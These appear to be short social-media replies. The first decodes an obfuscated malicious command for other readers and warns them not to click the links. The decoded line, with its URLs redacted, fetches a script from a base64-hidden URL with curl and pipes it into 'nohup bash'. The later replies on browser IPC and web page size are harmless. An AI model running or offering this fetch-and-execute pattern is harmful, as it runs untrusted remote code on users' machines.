@decryption for anyone else following along at home, this is what it decodes to (with URLs removed b/c you shouldn't click 'em)

curl -sL "$(echo 'base64 encoded URL/some unique id' | base64 -d)" & curl -sL "
(echo 'some static base64 URL.php')" | nohup bash &

@pointlessone I guess you _could_ have some IPC system that would allow sharing one browser process between apps, but maybe I've just invented ChromeOS.

Static web pages _can_ be tiny (if I removed web fonts my site would be <10kB) but basically no one cares about optimising for size this much (even me, given I serve 90kB of fonts)